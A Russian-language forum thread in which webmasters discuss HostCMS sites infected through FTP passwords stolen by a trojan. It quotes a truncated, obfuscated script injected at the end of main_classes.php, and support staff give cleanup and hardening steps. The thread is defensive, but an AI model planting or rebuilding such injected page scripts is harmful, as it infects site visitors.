Уязвимость в main_classes.php?

#
Уязвимость в main_classes.php?
Ко мне сегодня постучался один из заказчиков с жалобой на такую ошибку:
ПРЕДУПРЕЖЕДЕНИЕ: Cannot modify header information - headers already sent by (output started at /home/u32953/medicinkoru/www/main_classes.php:118) в файле /home/u32953/medicinkoru/www/index.php (строка 868)

После выяснения обстоятельств, в конце файла main_classes.php обнаружилась следующая вставка:
<script>/*GNU GPL*/ try{window.onload = function(){var N7tnownu87 = document.createElement(..., ''));document.body.appendChild(N7tnownu87);}} catch(Gvg2r6tvugz) {}</script>
<!--2ed39bceb951a00e050b904f71e47d8b-->
<!--2ed39bceb951a00e050b904f71e47d8b-->
<!--2ed39bceb951a00e050b904f71e47d8b-->
<!--2ed39bceb951a00e050b904f71e47d8b-->
<!--2ed39bceb951a00e050b904f71e47d8b-->


Вставку убрали и проблема исчезла. И все бы хорошо, но меня насторожил результат поиска в Яндексе по слову main_classes.php:
http://yandex.ru/yandsearch?text=main_classes.php

На первой же странице 6 результатов из 10 ведут на сайты работающие на HostCMS версий 4 и 5, и все эти сайты отмечены Яндексом как зараженные. И Ксаперский при попытке зайти туда находит трояна.

Скажите, это какая-то уязвимость в системе, ошибки в безопасности хостеров или недостаточно "чистые" веб-разработчики?
Заказов не беру. Консультирую редко.
Модератор
#
Re: Уязвимость в main_classes.php?
Kotoff писал(а):
После выяснения обстоятельств, в конце файла main_classes.php обнаружилась следующая вставка:

Kotoff писал(а):
Скажите, это какая-то уязвимость в системе, ошибки в безопасности хостеров или недостаточно «чистые» веб-разработчики?

см. http://www.hostcms.ru/forums/17/2362/
Внедрением вредоносного кода занимается программа-троян, похищающая у пользователя пароли FTP-доступа и часто не определяющаяся антивирусными программами.
Анализ механизма заражения сайтов показывает, что файлы меняются посредством легального (!) FTP-подключения, т.е. никакого взлома сайта не производилось, а всего лишь осуществлялся вход по логину/паролю и последующая модификация файлов сайта.
Подобное поведение присуще программам семейства Pinch, которые умеют обходить брандмауэры и антивирусные программы и похищает пароли, сохраненные в InternetExplorer, CuteFTP, TotalCommander, WindowsCommander и др.

Порядок решения проблемы:
1. (!!!) Необходимо проверить свой компьютер антивирусом с самыми последними обновлениями. (!!!)
2. (!!!) Сменить пароли доступа ко всем FTP-аккаунтам. (!!!)
3. Восстановить сайт из резервной копий, предварительно проверив, что сайт в резервной копии не заражен вирусом, т.к. резервная копия могла создаваться уже после заражения сайта или вручную удалить код вируса из файлов, в которых он содержится. Чаще всего код внедряется в index.php файлы в корне и в /admin/, также могут быть повреждены php-файлы в корне, вирус чаще всего находится в самом начале или конце файла и начинается с <script. Определять зараженные файлы можно также по дате их изменения. Также часто повреждаются все JS-файлы, размещенные в /admin/, /modules/, /hostcmsfiles/, /templates/ и т.д.
4. Никогда не сохранять пароли в программах, в том числе в файловых и FTP-менеджерах!
5. Учитывая большой список известных уязвимостей Internet Explorer, воспользоваться альтернативными браузерами, например, Firefox.

Описания найденных вирусов можно прочитать на сайте http://www.securelist.com/ru/descriptions

Kotoff писал(а):
На первой же странице 6 результатов из 10 ведут на сайты работающие на HostCMS версий 4 и 5, и все эти сайты отмечены Яндексом как зараженные.

Правильно, эти сайты находятся, т.к. на их странице выводится ошибка из-за модификации файла с указанием как раз имени модифицированного файла main_classes.php, приведу Вашу же цитату текста ошибки:
Kotoff писал(а):
ПРЕДУПРЕЖЕДЕНИЕ: Cannot modify header information — headers already sent by (output started at /home/u32953/medicinkoru/www/main_classes.php:118) в файле /home/u32953/medicinkoru/www/index.php (строка 868)
#
Re: Уязвимость в main_classes.php?
Спасибо за ответ, будем разбираться.
Заказов не беру. Консультирую редко.
Модератор
#
Re: Уязвимость в main_classes.php?
Kotoff,
Пожалуйста
#
Re: Уязвимость в main_classes.php?
Вроде как сейчас эпидемия такой заразы
http://webmaster.ya.ru/replies.xml?item_no=7035

В принципе, для бОльшей безопасности, (в смысле снижения вероятности снова подцепить вирус, крадущий пароли и тп), в дополнение к уже сказанному, можно
- для хождения по интернету, почты и тп пользовать юзера Виндоус с ограниченными правами (не администратора)
- при хождении по интернету, отключать в браузере javascript, flash и тп (кроме тех сайтов, которым особо доверякете), например, в Firefox можно подключить дополнения типа Noscript, Flashblock, Adblock Plus
- настроить антивирус на режим повышенной защиты, например, для Dr.Web в настройках Spider Guard, поставить режим проверки на лету с галочками "Запуск и открытие" и "Создание и запись"
- если хостер позволяет, пользовать не FTP, а защищенный SFTP

Отдельная тема, из немного другой области - дополнительная защита по паролю директории с админкой, - но у нас сайты, в которых запаролена директория с админкой, нормально заработали только на платной версии hostcms (на Халяве не получилось, при попытке запаролить админку стало выскакивать окно с запросом пароля и при попытке захода посетителя на сайт)
Модератор
#
Re: Уязвимость в main_classes.php?
dedanton писал(а):
Отдельная тема, из немного другой области — дополнительная защита по паролю директории с админкой

К теме вирусов дополнительная защита ЦА еще и HTTP-авторизацией не имеет никакого отношения. Если Вы хотите обсудить этот вопрос - можем сделать это в отдельной теме.
#
Re: Уязвимость в main_classes.php?
Приятно видеть на форуме поддержку даже во время новогодних каникул, пользуясь случаем, поздравляю с наступившим Новым годом и желаю благополучия и всяческих успехов

По теме дополнительной защиты админки http авторизацией - просто к слову озвучил, что получилось, но даже не знаю, что можно обсуждать в отдельной ветке по этому вопросу (конечно, если у нас получилось так, как это и должно быть)
Авторизация